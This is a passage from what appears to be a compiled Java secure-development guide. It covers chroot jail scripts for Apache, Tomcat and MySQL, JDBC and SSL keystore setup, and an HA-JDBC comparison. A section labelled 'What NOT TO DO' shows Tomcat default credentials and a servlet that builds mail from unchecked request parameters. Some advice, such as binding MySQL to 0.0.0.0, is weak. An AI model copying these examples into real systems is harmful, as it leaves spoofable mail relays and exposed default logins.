$3}' | grep -v$working_apache_dir | sort|uniq | tr "\t" " " | sed -e 's#^/##'`set i=1while ( $i <= $#shared_objects )(cd /; tar -cf - $shared_objects[$i]) | (cd $chroot; tar -xpf -)@ i = $i + 1end################################################################ Installation of standard chroot files in Linux###############################################################(cd /; tar -cf - etc/passwd) | (cd $chroot; tar -xpf -)(cd /; tar -cf - etc/group) | (cd $chroot; tar -xpf -)(cd /; tar -cf - etc/HOSTNAME) | (cd $chroot; tar -xpf -)(cd /; tar -cf - etc/hosts) | (cd $chroot; tar -xpf -)(cd /; tar -cf - etc/nsswitch.conf) | (cd $chroot; tar -xpf -)(cd /; tar -cf - usr/share/zoneinfo/MET) | (cd $chroot; tar -xpf -)cp $chroot/usr/share/zoneinfo/MET $chroot/etc/localtime################################################################ Creation of standard chroot files in Linux###############################################################mkdir $chroot/tmpchmod 777 $chroot/tmp

Page 168: Java secure development   part 3

657 | P a g e

chmod +t $chroot/tmpmkdir $chroot/devPage: 22 Date: avr. 5, 2004Chroot Unix Services – Compass Security – V 2.0GLÄRNISCHSTR. 7POSTFACH 1671CH-8640 RAPPERSWILTel. +41 55-214 41 60Fax +41 55-214 41 [email protected] www.csnc.chmknod -m 666 $chroot/dev/null c 1 3chmod 666 $chroot/dev/*################################################################ Creation of special files not seen using ldd, but using# truss or strace while startup###############################################################(cd /; tar -cf - etc/group) | (cd $chroot; tar -xpf -)(cd /; tar -cf - etc/host.conf) | (cd $chroot; tar -xpf -)(cd /; tar -cf - etc/hosts) | (cd $chroot; tar -xpf -)(cd /; tar -cf - etc/services) | (cd $chroot; tar -xpf -)(cd /; tar -cf - etc/HOSTNAME) | (cd $chroot; tar -xpf -)(cd /; tar -cf - lib/libnss_compat.so.2) | (cd $chroot; tar -xpf -)(cd /; tar -cf - lib/ld-2.3.2.so) | (cd $chroot; tar -xpf -)(cd /; tar -cf - usr/lib/libstdc++.so.5.0.5) | (cd $chroot; tar -xpf -)(cd /; tar -cf - lib/libz.so.1*) | (cd $chroot; tar -xpf -)(cd /; tar -cf - lib/libnss_files.so.2) | (cd $chroot; tar -xpf -)(cd /; tar -cf - usr/local/ssl/lib/libssl.so.0.9.7) | (cd $chroot; tar -xpf -)(cd /; tar -cf - etc/ld.so.conf) | (cd $chroot; tar -xpf -)(cd /; tar -cf - etc/ld.so.cache) | (cd $chroot; tar -xpf -)

2.6 Chrooting Tomcat (Linux)To chroot the Jakarta Tomcat you will have to install the J2SDK in the chroot directory.Using the Linux JDK 1.4.1_03 you will also need to mount the proc-filesystem in the chrootdue a bug in the JDK (should be fixed in the next release):mount -tproc proc /opt/applic/chroot/tomcat/proc/Please keep in mind, that the proc system has to be mounted before you start the tomcatserver. If you want to startup tomcat at boot time, write a script, which mounts the procsystem in the chroot and is executed before the Tomcat server is started or add a line inyour /etc/fstab.Moreover I included the bash shell, su and uname in my chroot jail to simplify the startupof the server and to use the standard startup script with some slight modifications. The sutool requires the directory /etc/pam.d-, /etc/passwd- and /etc/group-file in the chroot. Thefile /etc/services is also needed.The first step is to configure and run the server in the standard environment for testingpurpose1.In the second step configure and run the chroot-script (see appendix). The script mountsautomatically the proc system in the chroot directory.$# ./make_chroot_tomcat_linux.shTo startup the tomcat server, I added the following script in the chroot tomcat bin(/opt/applic/chroot/tomcat/opt/tomcat/bin) directory to change the user before the startupof the daemon:#!/bin/bashcase "$1" instart)echo "starting upload tomcat in chroot"su tomcatuploadrun -s /bin/bash -c "/opt/tomcat/bin/catalina.shstart";;stop)echo "stopping upload tomcat in chroot"

Page 169: Java secure development   part 3

658 | P a g e

su tomcatuploadrun -s /bin/bash -c "/opt/tomcat/bin/catalina.sh stop";;restart|reload)$0 stop$0 start;;*)echo "Usage: $0 {start|stop|restart}"exit 1esacThis script can be executed within an init script using the following command:chroot /opt/applic/chroot/tomcat /opt/tomcat/bin/catalina_su.sh $1;In the catalina.sh script, all operation-system specific checks can be disabled to simplifythe startup and to use as less command line tools as possible.1 The configuration of MySQL is not described in this documentPage: 18 Date: avr. 5, 2004Chroot Unix Services – Compass Security – V 2.0GLÄRNISCHSTR. 7POSTFACH 1671CH-8640 RAPPERSWILTel. +41 55-214 41 60Fax +41 55-214 41 [email protected] www.csnc.chExecute the following command to start the daemon:$# chroot /opt/applic/chroot/tomcat /opt/tomcat/bin/catalina_su.sh startIn case of an error, the daemon returns “file not found” or “library not found” errors. Thisindicates, that the SDK is still missing some libraries or configuration files in its chrootjail. If this occurs, check first, if there are any unresolved symbolic links in the chrootorits subdirectories. If you find some, add a line in your chroot-script, which copies themissing files into the jail and rerun the script.It is also possible; that there are some not directly related libraries or configurationfilesmissing. To locate these libraries you can use the truss tool.$# truss –topen,close chroot /opt/applic/chroot/tomcat /opt/tomcat/bin/catalina_su.sh startCheck if the process is started properly and is running under the specified user:$# ps axgf | grep javatomcata 11333 0.4 23.3 229192 29732 ? S 08:07 0:21 /opt/jdk/bin/java -Djava.endorsed.dirs=/opt/tomcat/common/endorsed -classpath/opt/jdk/lib/tools.jar:/opt/tomcat/bin/bootstrap.jar -Dcatalina.base=/opt/tomcat -Dcatalina.home=/opt/tomcat -Djava.io.tmpdir=/opt/tomcat/temporg.apache.catalina.startup.Bootstrap starttomcata 11334 0.0 23.3 229192 29732 ? S 08:07 0:00 /opt/jdk/bin/java -Djava.endorsed.dirs=/opt/tomcat/common/endorsed -classpath/opt/jdk/lib/tools.jar:/opt/tomcat/bin/bootstrap.jar -Dcatalina.base=/opt/tomcat -Dcatalina.home=/opt/tomcat -Djava.io.tmpdir=/opt/tomcat/temporg.apache.catalina.startup.Bootstrap start […]To stop the process execute the command:$# chroot /opt/applic/chroot/tomcat /opt/tomcat/bin/catalina_su.sh stop

3.6 Tomcat Chrooting Script (Linux)This script sets also the file- and user-permission on the files in the chroot.#! /bin/csh –f################################################################ Start config section# Please edit only these configuration parameters###############################################################set chroot=/opt/applic/chroot/tomcat-adminset working_tomcat_dir=/opt/tomcatset working_jdk_dir=/opt/j2sdk1.4.2_03set tomcat_dirname=opt/tomcat

Page 170: Java secure development   part 3

659 | P a g e

set jdk_dirname=opt/j2sdk1.4.2_03set webappconfigdir=/opt/applic/webappconfigset configfile=opt/tomcat/conf/server.xmlset startupfile=opt/tomcat/bin/catalina_su.shset webappconfigname=server_admin.xmlset webappstartupname=catalina_su_admin.shset webappdir=/opt/applic/webappsset webappname=uploadadmin.warset tomcatrunuser=tomcatadminrunset tomcatadminuser=tomcatadminadmset tomcatgroup=tomcatadmin################################################################ End config section############################################################################################################################### Create CHROOT DIR###############################################################if ( -d $chroot ) thenecho "========================================="echo "chroot dir $chroot already there"echo "unmount /proc"umount $chroot/procrm -r $chrootecho "Tomcat chroot dir $chroot deleted"echo "========================================="echo "make empty CHROOT directory $chroot"mkdir $chrootecho "========================================="elseecho "========================================="echo "make empty CHROOT directory $chroot"mkdir $chrootecho "========================================="endif################################################################ Copy Apache working directory into CHROOT space###############################################################echo "========================================="echo "Copying $jdk_dirname into $chroot"(cd / ; tar -cf - $jdk_dirname) | (cd $chroot; tar -xpf -)echo "COPY FINISHED -- set up link"(cd $chroot; ln -s $working_jdk_dir opt/jdk)################################################################ Copy tomcat working directory into CHROOT space###############################################################echo "========================================="echo "Copying $tomcat_dirname into $chroot"(cd / ; tar -cf - $tomcat_dirname) | (cd $chroot; tar -xpf -)################################################################ Identification of Shared Libraries and# installation into chroot env###############################################################Page: 30 Date: avr. 5, 2004Chroot Unix Services – Compass Security – V 2.0GLÄRNISCHSTR. 7POSTFACH 1671CH-8640 RAPPERSWILTel. +41 55-214 41 60Fax +41 55-214 41 [email protected] www.csnc.chset shared_objects=`ldd $chroot/$working_jdk_dir/bin/java |awk '{print $3}' | grep -v$working_jdk_dir | sort|uniq | tr "\t" " " | sed -e 's#^/##'`

Page 171: Java secure development   part 3

660 | P a g e

set i=1while ( $i <= $#shared_objects )(cd /; tar -cf - $shared_objects[$i]) | (cd $chroot; tar -xpf -)@ i = $i + 1end################################################################ Installation of standard chroot files and tools in Linux###############################################################(cd /; tar -cf - etc/passwd) | (cd $chroot; tar -xpf -)(cd /; tar -cf - etc/group) | (cd $chroot; tar -xpf -)(cd /; tar -cf - etc/hosts) | (cd $chroot; tar -xpf -)(cd /; tar -cf - etc/nsswitch.conf) | (cd $chroot; tar -xpf -)(cd /; tar -cf - usr/share/zoneinfo/MET) | (cd $chroot; tar -xpf -)cp $chroot/usr/share/zoneinfo/MET $chroot/etc/localtime(cd /; tar -cf - bin/bash) | (cd $chroot; tar -xpf - )(cd /; tar -cf - bin/uname) | (cd $chroot; tar -xpf -)cp $chroot/bin/bash $chroot/bin/sh(cd /; tar -cf - bin/su) | (cd $chroot; tar -xpf -)set shared_objects=`ldd /bin/su |awk '{print $3}' | grep -v $working_jdk_dir | sort|uniq |tr "\t" " " | sed -e 's#^/##'`set i=1while ( $i <= $#shared_objects )(cd /; tar -cf - $shared_objects[$i]) | (cd $chroot; tar -xpf -)@ i = $i + 1end(cd /; tar -cf - lib/libpam.so.0.77)|(cd $chroot; tar -xpf -)(cd /; tar -cf - lib/libpam_misc.so.0)|(cd $chroot; tar -xpf -)(cd /; tar -cf - lib/libpam_misc.so.0.77)|(cd $chroot; tar -xpf -)(cd /; tar -cf - lib/libnss_compat.so.2) | (cd $chroot; tar -xpf -)(cd /; tar -cf - etc/group) | (cd $chroot; tar -xpf -)(cd /; tar -cf - etc/host.conf) | (cd $chroot; tar -xpf -)(cd /; tar -cf - etc/hosts) | (cd $chroot; tar -xpf -)(cd /; tar -cf - etc/services) | (cd $chroot; tar -xpf -)(cd /; tar -cf - etc/HOSTNAME) | (cd $chroot; tar -xpf -)mkdir $chroot/tmpchmod 777 $chroot/tmpchmod +t $chroot/tmpmkdir $chroot/devmknod -m 666 $chroot/dev/null c 1 3chmod 666 $chroot/dev/*################################################################ Creation of special files not seen using ldd, but using# truss or strace while startup#############################################################(cd /; tar -cf - lib/ld-linux.so.2) | (cd $chroot; tar -xpf -)(cd /; tar -cf - lib/ld-2.3.2.so) | (cd $chroot; tar -xpf -)(cd /; tar -cf - lib/libnsl.so.1) | (cd $chroot; tar -xpf -)(cd /; tar -cf - lib/libm.so.6) | (cd $chroot; tar -xpf -)(cd /; tar -cf - lib/libreadline.so.4*) | (cd $chroot; tar -xpf -)(cd /; tar -cf - lib/libhistory.so*) | (cd $chroot; tar -xpf -)(cd /; tar -cf - lib/libncurses.so*) | (cd $chroot; tar -xpf -)(cd /; tar -cf - etc/pam.*) | (cd $chroot; tar -xpf -)(cd /; tar -cf - lib/security/*) | (cd $chroot; tar -xpf -)(cd /; tar -cf - lib/libxcrypt.so.1*) | (cd $chroot; tar -xpf -)(cd /; tar -cf - lib/libnss_files.so.2) | (cd $chroot; tar -xpf -)(cd $webappdir; tar -cf - $webappname) | (cd $chroot; tar -xpf -)chmod 640 $chroot/$webappname################################################################ Copy of /dev/random and /dev/urandom into chroot# Pls. remember Solaris 8.0 requires patch 112438-01# to get a random device. The simple copy command below# fullfils my needs to have a random and urandom device.#############################################################

Page 172: Java secure development   part 3

661 | P a g e

Page: 31 Date: avr. 5, 2004Chroot Unix Services – Compass Security – V 2.0GLÄRNISCHSTR. 7POSTFACH 1671CH-8640 RAPPERSWILTel. +41 55-214 41 60Fax +41 55-214 41 [email protected] www.csnc.chmkdir $chroot/procmount -tproc proc $chroot/proc/echo "== copy config file ($webappconfigdir/$webappconfigname to $chroot/$configfile)"cp $webappconfigdir/$webappconfigname $chroot/$configfileecho "== copy startup file ($webappconfigdir/$webappstartupname to $chroot/$startupfile)"cp $webappconfigdir/$webappstartupname $chroot/$startupfileecho "== setting userprivs"echo "== setting group to $tomcatgroup"(cd $chroot; chgrp -R $tomcatgroup $tomcat_dirname)(cd $chroot; chgrp -R $tomcatgroup $webappname)echo "== setting admin user to $tomcatadminuser"(cd $chroot; chown -R $tomcatadminuser $tomcat_dirname)(cd $chroot; chown -R $tomcatadminuser $webappname)

3.4 MySQL Chrooting Script (Linux)#! /bin/csh –f################################################################ Start config section# Please edit only these configuration parameters###############################################################set chroot=/opt/applic/chroot/mysqlset working_mysql_dir=/mysqlset mysql_dirname=mysql################################################################ End config section############################################################################################################################### Create CHROOT DIR###############################################################if ( -d $chroot ) thenecho "========================================="echo "chroot dir $chroot already there"rm -r $chrootecho "MySQL chroot dir $chroot deleted"echo "========================================="echo "make empty CHROOT directory $chroot"mkdir $chrootecho "========================================="elseecho "========================================="echo "make empty CHROOT directory $chroot"mkdir $chrootecho "========================================="endif################################################################ Copy mysql working directory into CHROOT space###############################################################echo "========================================="echo "Copying $mysql_dirname into $chroot"(cd / ; tar -cf - $mysql_dirname) | (cd $chroot; tar -xpf -)###############################################################

Page 173: Java secure development   part 3

662 | P a g e

# Identification of Shared Libraries and# installation into chroot env###############################################################set shared_objects=`ldd $chroot/$working_mysql_dir/libexec/mysqld |awk '{print $3}' | grep -v $working_mysql_dir | sort|uniq | tr "\t" " " | sed -e 's#^/##'`set i=1while ( $i <= $#shared_objects )(cd /; tar -cf - $shared_objects[$i]) | (cd $chroot; tar -xpf -)@ i = $i + 1end################################################################ Installation of standard chroot files in Linux###############################################################(cd /; tar -cf - etc/passwd) | (cd $chroot; tar -xpf -)(cd /; tar -cf - etc/group) | (cd $chroot; tar -xpf -)(cd /; tar -cf - etc/HOSTNAME) | (cd $chroot; tar -xpf -)(cd /; tar -cf - etc/hosts) | (cd $chroot; tar -xpf -)(cd /; tar -cf - etc/nsswitch.conf) | (cd $chroot; tar -xpf -)(cd /; tar -cf - usr/share/zoneinfo/MET) | (cd $chroot; tar -xpf -)cp $chroot/usr/share/zoneinfo/MET $chroot/etc/localtime(cd /; tar -cf - bin/bash) | (cd $chroot; tar -xpf - )cp $chroot/bin/bash $chroot/bin/sh(cd /; tar -cf - etc/group) | (cd $chroot; tar -xpf -)(cd /; tar -cf - etc/host.conf) | (cd $chroot; tar -xpf -)(cd /; tar -cf - etc/hosts) | (cd $chroot; tar -xpf -)Page: 25 Date: avr. 5, 2004Chroot Unix Services – Compass Security – V 2.0GLÄRNISCHSTR. 7POSTFACH 1671CH-8640 RAPPERSWILTel. +41 55-214 41 60Fax +41 55-214 41 [email protected] www.csnc.ch(cd /; tar -cf - etc/services) | (cd $chroot; tar -xpf -)(cd /; tar -cf - etc/HOSTNAME) | (cd $chroot; tar -xpf -)################################################################ Creation of standard chroot files in Linux###############################################################mkdir $chroot/tmpchmod 777 $chroot/tmpchmod +t $chroot/tmpmkdir $chroot/devmknod -m 666 $chroot/dev/null c 1 3chmod 666 $chroot/dev/*################################################################ Creation of special files not seen using ldd, but using# truss or strace while startup#############################################################(cd /; tar -cf - lib/libnss_compat.so.2) | (cd $chroot; tar -xpf -)(cd /; tar -cf - lib/ld-2.3.2.so) | (cd $chroot; tar -xpf -)(cd /; tar -cf - usr/lib/libstdc++.so.5.0.5) | (cd $chroot; tar -xpf -)(cd /; tar -cf - lib/libz.so.1*) | (cd $chroot; tar -xpf -)(cd /; tar -cf - lib/libnss_files.so.2) | (cd $chroot; tar -xpf -)

Example Script Solving Shared Libraries ProblemThe above scripts are not able to recursively resolving shared libraries. This could lead intoproblems, while chrooting a new service. The following script tries giving a help recursivelyresolving the required shared libraries.The following script has beta-status and is not widely used by Compass.#! /bin/csh -f

Page 174: Java secure development   part 3

663 | P a g e

## This script was written to imporove chroot processes. It supports# copying shared libararies in a recursively manner by detecting# each libraries dependencies again.# To avoid neverending recursion, the script would check wether the# library was allready copied to the destination chroot.## date: Mon 03/15/2004# author: Cyrill Brunschwiler - BRU - Compass Security AG##################################################################### did we receive all params?####################################################################if ($#argv != 2) thenecho "Usage: $0 (path_to_binary|path_to_library) chroot_path"exit 1endif# get params from command line####################################################################set library=$1set chroot=$2# check if chroot allready exists otherwise leave script####################################################################if (-d $chroot) then# check if file exists otherwise leave script#################################################################if (-e $library) then# we're sure to have valid paths and files yet. so let us# check for the files dependencies##############################################################echo "$library : resolving..."set subs=`ldd $library | awk '{print $3}' | grep -v $chroot | sort | uniq | tr "\t" "" | sed -e 's#^/##'`# we hold all libraries in subs now. first check if allready# a copy of the library exists. if not copy it and check it# for further dependencies by calling this script again.##############################################################foreach subelement ($subs)echo "/$subelement : found"# check if allready copied to chroot otherwise copy the# library and recurse###########################################################if (-e $chroot/$subelement) thenecho "/$subelement : allready exists. skipped."else(cd /; tar -cf - $subelement) | (cd $chroot; tar -xpf -)echo "/$subelement : copied."Page: 33 Date: avr. 5, 2004Chroot Unix Services – Compass Security – V 2.0GLÄRNISCHSTR. 7POSTFACH 1671CH-8640 RAPPERSWILTel. +41 55-214 41 60Fax +41 55-214 41 [email protected] www.csnc.ch# now check if the copied library has any other# dependencies -> call this script again########################################################$0 "/$subelement" $chrootendifendecho "$library : resolving... done."exit 0

Page 175: Java secure development   part 3

664 | P a g e

elseecho "Error: library $library does not exist. aborted."exit 1endifelseecho "Error: folder $chroot does not exist. aborted."exit 1endif

Apache tomcat Website Code Examples – What NOT TO DOhttp://tomcat.apache.org/tomcat-6.0-doc/jndi-resources-howto.html

1. Create/edit the XML file

This example shows the default usernames and passwords which exist in everytomcat installation and must be changed manually by a security aware user.

The XMl file is typically located at $CATALINA_BASE/conf/tomcat-users.xml however, youare free to locate the file anywhere on the file system. It is recommended thatthe XML files are placed in $CATALINA_BASE/conf. A typical XML would look like:

<?xml version='1.0' encoding='utf-8'?><tomcat-users>

<role rolename="tomcat"/><role rolename="role1"/><user username="tomcat" password="tomcat" roles="tomcat"/><user username="both" password="tomcat" roles="tomcat,role1"/><user username="role1" password="tomcat" roles="role1"/>

</tomcat-users>

2. Code Your Application's Use Of This Resource

This example contains SPAM, Mail Spoofingm Mime-Injection vulnerability andpotentially XSS and other attacks of the client’s side. A typical use of thisresource reference might look like this:

Context initCtx = new InitialContext();Context envCtx = (Context) initCtx.lookup("java:comp/env");Session session = (Session) envCtx.lookup("mail/Session");

Page 176: Java secure development   part 3

665 | P a g e

Message message = new MimeMessage(session);message.setFrom(new InternetAddress(request.getParameter("from")));InternetAddress to[] = new InternetAddress[1];to[0] = new InternetAddress(request.getParameter("to"));message.setRecipients(Message.RecipientType.TO, to);message.setSubject(request.getParameter("subject"));message.setContent(request.getParameter("content"), "text/plain");Transport.send(message);

Note that the application uses the same resource reference name that wasdeclared in the web application deployment descriptor. This is matched upagainst the resource factory that is configured in the <Context> element for theweb application as described below.

3. Code Your Application's Use Of This Resource

This example contains the most common and common badpractice:”Unreleased Resource Streams”.A typical use of this resource reference might look like this:

Context initCtx = new InitialContext();Context envCtx = (Context) initCtx.lookup("java:comp/env");DataSource ds = (DataSource)

envCtx.lookup("jdbc/EmployeeDB");

Connection conn = ds.getConnection();... use this connection to access the database ...conn.close();

Java Based SQL Servers:

HSQLDB - 100% Java Databasehttp://hsqldb.org/

Page 177: Java secure development   part 3

666 | P a g e

Java Based SQL Servers Memory Waste Comparison:

This set of CRUD (create, read, update, delete) tests is performed in a single thread with disk tables.

HSQLDB timings HXSQL timings speedupOPERATION rows time (ms) rows / s time rows / s

insert 1,024,000 33000 31029 27484 37256 1.2

shutdown 672 594

reopen 125 62

count (index on id) 1,024,000 8203 750 10,94

select random id 1,024,000 86344 11859 13422 76286 6.43

update with random id 256,000 45188 5665 9828 26045 4.6

count (index on id) 1,024,000 8203 563 14.57

delete with random id 128,000 13453 9513 2422 52827 5.55

count (index on id) 896,000 7344 500 14.69

shutdown 2828 16375

total test time 205360 72000

Page 178: Java secure development   part 3

667 | P a g e

Connecting Apache to MySQL in SSL

Generating an internal SSL Certificate (for tomcat)

How to Generate an internal SSL certificate

Create the self-signed keystore

$ su -$ URL="your.url.here";export URL$ cd /opt/tomcat/conf$ keytool -genkey -alias ${URL} -keyalg RSA -keystore ${URL}.keystoreEnter keystore password: changeitWhat is your first and last name?

[Unknown]: your.url.hereWhat is the name of your organizational unit?

[Unknown]: ITWhat is the name of your organization?

[Unknown]: your.url.hereWhat is the name of your City or Locality?

[Unknown]: BrisbaneWhat is the name of your State or Province?

[Unknown]: QLDWhat is the two-letter country code for this unit?

[Unknown]: AUIs CN=your.url.here, OU=IT, O=your.url.here, L=Brisbane, ST=QLD, C=AU correct?

[no]: yes

Enter key password for <your.url.here>(RETURN if same as keystore password):

Turn the keystore into a X.509 certificate

$ keytool -export -alias ${URL} -keystore ${URL}.keystore -rfc -file ${URL}.certEnter keystore password: changeitCertificate stored in file <your.url.here.cert>

Delete existing trusted certificate

$ keytool -delete -alias ${URL} -file ${URL}.cert -keystore /opt/java/jre/lib/security/cacerts -storepasschangeit

Import the certificate into cacerts – JRE trusted certificates

$ keytool -import -alias ${URL} -file ${URL}.cert -keystore /opt/java/jre/lib/security/cacerts -storepasschangeitOwner: CN=your.url.here, OU=IT, O=your.url.here, L=Brisbane, ST=QLD, C=AUIssuer: CN=your.url.here, OU=IT, O=your.url.here, L=Brisbane, ST=QLD, C=AUSerial number: 44ab628cValid from: Wed Jul 05 01:56:12 CDT 2006 until: Tue Oct 03 01:56:12 CDT 2006Certificate fingerprints:

Page 179: Java secure development   part 3

668 | P a g e

MD5: EC:76:01:04:7F:FC:21:CC:A8:41:AD:86:C8:B2:D5:6DSHA1: 2D:FD:7C:56:65:70:36:1B:1D:71:09:41:84:98:E6:8E:89:18:BC:18

Trust this certificate? [no]: yesCertificate was added to keystore

Install a CA server or use a current one. Get the CA cert in binary format. On a Windows CA Servercommand prompt certutil -ca.cert ca_name.cer

Take the CA cert put it in /etc/ssl/certs/ then import it into your java keystore.

keytool -import -file ca.crt -alias ca_cert -keystore truststore.ts -storepass storepass_passwordNow, in the jdbc string, you want to add some options to the jdbc line.

If you replaced an existing certificate you will need to restart Tomcat.

trustStore=/etc/ssl/certs/truststore.ts;trustStorePassword=storepass_password;This will allow the jdbc connection to trust the certs that SQL is presenting upon connection and willkeep all trafficencrypted.

Fixing Tomcat’s binding problemsChange the "bind-address" property in /etc/mysql/my.cnf file to 0.0.0.0, and it works. Correspondingline in my.cnf looks like this:

bind-address = 0.0.0.0

Before it was set to the outside ip address of the server, so it looked something like:

bind-address = 196.152.4.145

I think when it's set to the outside ip address and not the localhost loop, mysql server is justconnected to the network card and does not listen to the connections from the local loop.

Using an SSL enforcing Connection stringjdbc.default.driverClassName=com.mysql.jdbc.Driverjdbc.default.url=jdbc:mysql://RDS-INSTANCE-NAME.AWS-HOST:3306/lportal?useUnicode=true&characterEncoding=UTF-8&useFastDateParsing=false&useSSL=true&requireSSL=true&verifyServerCertificate=truejdbc.default.username=XXXXjdbc.default.password=XXXX

Page 180: Java secure development   part 3

669 | P a g e

How to configure MySQL DataSource in Tomcat 6

1. Get MySQL JDBC Driver

Get JDBC driver here – http://www.mysql.com/products/connector/ , for example, mysql-connector-java-5.1.9.jar, and copy it to $TOMCAT\lib folder.

2. Create META-INF/context.xml

Add a file META-INF/context.xml into the root of your web application folder, which defines databaseconnection detail :

File : META-INF/context.xml

<Context>

<Resource name="jdbc/mkyongdb" auth="Container" type="javax.sql.DataSource"maxActive="50" maxIdle="30" maxWait="10000"username="mysqluser" password="mysqlpassword"driverClassName="com.mysql.jdbc.Driver"url="jdbc:mysql://localhost:3306/mkyongdb"/>

</Context>

3. web.xml configuration

In web.xml, defines your MySQL datasource again :

<resource-ref><description>MySQL Datasource example</description><res-ref-name>jdbc/mkyongdb</res-ref-name>

Page 181: Java secure development   part 3

670 | P a g e

<res-type>javax.sql.DataSource</res-type><res-auth>Container</res-auth>

</resource-ref>See a full web.xml example below :

File : web.xml

<?xml version="1.0" encoding="UTF-8"?><web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

xmlns="http://java.sun.com/xml/ns/javaee"xmlns:web="http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd"xsi:schemaLocation="http://java.sun.com/xml/ns/javaeehttp://java.sun.com/xml/ns/javaee/web-app_2_5.xsd"id="WebApp_ID" version="2.5">

<display-name>MySQL DataSource Example</display-name>

<resource-ref><description>MySQL Datasource example</description><res-ref-name>jdbc/mkyongdb</res-ref-name><res-type>javax.sql.DataSource</res-type><res-auth>Container</res-auth>

</resource-ref>

</web-app>

4. Run It

Resource injection (@Resource) is the easiest way to get the datasource from Tomcat, see below :

import javax.annotation.Resource;public class CustomerBean{

@Resource(name="jdbc/mkyongdb")private DataSource ds;

public List<Customer> getCustomerList() throws SQLException{

//get database connectionConnection con = ds.getConnection();//...

Alternatively, you can also get the datasource via context lookup service :

import javax.naming.Context;import javax.naming.InitialContext;public class CustomerBean{

private DataSource ds;

public CustomerBean(){

Page 182: Java secure development   part 3

671 | P a g e

try {Context ctx = new InitialContext();ds = (DataSource)ctx.lookup("java:comp/env/jdbc/mkyongdb");

} catch (NamingException e) {e.printStackTrace();

}}

public List<Customer> getCustomerList() throws SQLException{

//get database connectionConnection con = ds.getConnection();//...

Creating a JDBC by code:

package jdbctest;

import com.mysql.jdbc.Driver;import java.sql.DriverManager;import java.util.Properties;

public class Main {

public static void main(String[] args) throws Exception {

String url = "jdbc:mysql://localhost:6777";

Driver driver = (Driver) Class.forName("com.mysql.jdbc.Driver").newInstance();

Properties result = driver.parseURL(url, new Properties());System.out.println(result);

DriverManager.getConnection(url, result);

}

}

Page 183: Java secure development   part 3

672 | P a g e

Alternatives to JDBC

HA-JDBC: High-Availability JDBC

Overview

HA-JDBC is a JDBC proxy that provides light-weight, transparent, fault tolerant clustering capability to anyunderlying JDBC driver.

Features

Supports any database accessible via JDBC.

High-availability/Fault Tolerance - An HA-JDBC database cluster can lose a node withoutfailing/corrupting open transactions.

Live activation/deactivation allows for maintenance/upgrading of a database node without loss ofservice.

Improves performance of concurrent read-access by distributing load across individual nodes.

Supports full JDBC 3.0 and 4.0 feature set.

Out-of-the-box database-independent strategies for synchronizing a failed cluster node.

Exposes JMX management interface to allow administration of databases and clusters.

Ability to add/subtract database nodes to/from a cluster at runtime.

Can be configured to auto-activate failed database nodes during scheduled off-peak times.

Open source (LGPL).

Dependent Libraries

JGroups - reliable multicast communication framework

Quartz - enterprise job scheduler

JiBX - an XML binding framework

SLF4J - a simple facade for various logging APIs.

Related Software

Sequoia - Database-independent clustering middleware

PGCluster - Multi-master replication system for PostgreSQL.

MySQL Cluster - Fault tolerant database architecture using NDB storage engine

H2 Clustering - a simple clustering / high availability mechanism for H2

Page 184: Java secure development   part 3

673 | P a g e

I need to pass additional parameters to my JDBC driver. How can I specify these in my HA-JDBC configuration?

The database element may contain any number of property elements. HA-JDBC will pass these propertiesthrough to the Driver.connect(String url, Properties info) method of the underlying JDBC driver.

e.g.

<cluster id="..." balancer="..." default-sync="..."><database id="...">

<driver>org.postgresql.Driver</driver><url>jdbc:postgresql:database</url><property name="ssl">true</property><user>postgres</user><password>XXXX</password>

</database></cluster>

Alternatively, many JDBC drivers accept properties appended directly to the url.

e.g.

<cluster id="..." balancer="..." default-sync="..."><database id="...">

<driver>org.postgresql.Driver</driver><url>jdbc:postgresql:database?ssl=true</url><user>postgres</user><password>XXXX</password>

</database></cluster>

How does HA-JDBC compare to Sequoia?^

Both HA-JDBC and Sequoia attempt to solve the same problem (i.e. eliminating the database as a singlepoint of failure), but have different approaches.

Feature comparison

HA-JDBC Sequoia

Architecture 1. HA-JDBC driver delegatesJDBC methods directly tothe underlying JDBC drivers.

2. Cluster details are stored in

1. Sequoia's JDBC driver delegates queryexecution to a remote controller process.Controller then delegates queries to theunderlying JDBC driver.

Page 185: Java secure development   part 3

674 | P a g e

distributed cache on client.

3. Leverages underlyingdatabase for requestscheduling.

4. High-availability is inherentin symmetric design.

2. Cluster details are known only to controller.

3. The controller's request scheduler strategy isresponsible for determining execution order.

4. Controller introduces new single point-of-failure. Workaround is to set up a failovercontroller process. Details here.

Clustertopography

1. Databases within a clustermust be homogenous.

2. Supports "mirroring" only.

1. Supports heterogenous database clusters -requires that SQL queries be translated toappropriate SQL dialect.

2. Supports RAIDb-0, RAIDb-1, and RAIDb-2configurations (i.e. mirroring (replication),striping (partitioning), and partialmirroring/striping, respectively).

Failed noderecovery

1. No recovery log ismaintained.

2. Synchronization achievedthrough various brute forcestrategies.

3. Inefficient hotsynchronization capabilitytolerated at the savings ofperformance during normalusage.

4. Includes the ability toautomatically reactivatefailed database nodesaccording to a schedule.

1. Controller uses internal database recoverylog to restore state of a reactivateddatabase.

2. Synchronization is done by executing SQLstatements since last checkpoint.

3. Efficient hot synchronization capabilityachieved at the cost of recovery logoverhead.

4. Failed database nodes can only be re-activated manually.

Performance Faster reads under load, slightlyslower writes than standard JDBC.Detailshere.

Qualitatively slower than HA-JDBC since each requestrequires an additional network hop (i.e. driver tocontroller, controller to database). Details here.

Clusteradministration

Leverages JConsole from Sun's JDK1.5+ or any other 3rd party JMXconsole for cluster administration.

Provides custom JMX-based command-lineadministration console.

Providesconnection

pooling

No - many open source solutionsalready exist and can be used inconjunction with HA-JDBC:

c3p0

Proxool

Yes - implemented in controller

Page 186: Java secure development   part 3

675 | P a g e

Commons DBCP

XAPool

Primrose

ResultSetcaching ability

No - Transparent result set caching isavailable through IronEye Cache.

Yes - implemented in controller

JDBC 2.0featuresupport

Full support Lacks support for:

Database-compiled PreparedStatements

CallableStatements with OUT parameters

True large object support - Blob and Clob aresimulated with encoded byte[] and String,respectively

True binary/character stream support - simulatedwith encoded byte[] and String, respectively

Array and Ref types

Custom type mapping

Block fetched scrollable ResultSets

Statement execution cancellation

JDBC 3.0support

Full support Lacks support for:

Transactional Savepoints

XADataSource and XAConnection

PreparedStatement pooling

Retrieval of auto-generated keys

ParameterMetaData

ResultSet holdability support

Queries/Store procedures that returnmultiple ResultSets

Updatable Blobs and Clobs

JDBC 4.0support

Full support None

Page 187: Java secure development   part 3

676 | P a g e

Tomcat Security

